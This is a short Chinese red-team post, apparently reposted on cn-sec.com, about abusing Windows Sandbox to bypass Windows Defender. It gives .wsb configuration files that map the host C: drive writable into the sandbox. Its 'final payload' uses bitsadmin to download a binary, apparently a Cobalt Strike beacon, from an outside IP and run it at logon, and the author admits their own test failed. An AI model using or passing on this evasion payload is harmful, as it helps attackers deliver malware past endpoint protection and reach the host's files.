RedTips之使用WSB绕过defender

admin 2021年4月27日05:12:59评论74 views字数 1150阅读3分50秒阅读模式


什么是WSB?


全称Windows Sandbox:一个独立的临时桌面环境,可以在其中运行不受信任的软件,而不必担心会对您的PC产生持久影响。Windows Sandbox中安装的任何软件仅保留在沙箱中,不会影响您的主机。Windows Sandbox关闭后,将永久删除包含其所有文件和状态的所有软件。


RedTips之使用WSB绕过defender


启用方法如下:


Enable-WindowsOptionalFeature -FeatureName "Containers-DisposableClientVM" -All -Online


WSB利用


由于其特殊性,WSB不受windows defender的保护。


RedTips之使用WSB绕过defender


而根据微软文档所说,我们可以使用.wsb文件来定制我们的沙箱内容。


<Configuration>    <LogonCommand>        <Command>            cmd.exe         </Command>    </LogonCommand></Configuration>


这样启动的沙箱,会默认开启cmd窗口。


RedTips之使用WSB绕过defender


也可以进行文件夹的映射。


<MappedFolders>   <MappedFolder>      <HostFolder>C:</HostFolder>      <SandboxFolder>C:UsersWDAGUtilityAccountC_Mount</SandboxFolder>      <ReadOnly>false</ReadOnly>    </MappedFolder>


最终的payload:


<Configuration>   <MappedFolders>     <MappedFolder>       <HostFolder>C:</HostFolder>       <SandboxFolder>C:UsersWDAGUtilityAccountUserFiles</SandboxFolder>       <ReadOnly>false</ReadOnly>     </MappedFolder>   </MappedFolders>   <LogonCommand>     <Command>cmd.exe /c ping 127.0.0.1 -n 3 >null & bitsadmin /transfer myjob /download /priority high http://192.168.2.114/cs_wsb_test.bin "%APPDATA%cs.exe">nul & start %APPDATA%cs.exe</Command>   </LogonCommand> </Configuration>


注:本人测试时,一直提示错误,如果有师傅成功,望留言处指出,感激不尽。


原文地址:https://blog.syscall.party/post/weaponizing-windows-sandbox/

本文始发于微信公众号(鸿鹄实验室):RedTips之使用WSB绕过defender

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月27日05:12:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   RedTips之使用WSB绕过defenderhttps://cn-sec.com/archives/217403.html

发表评论

匿名网友 填写信息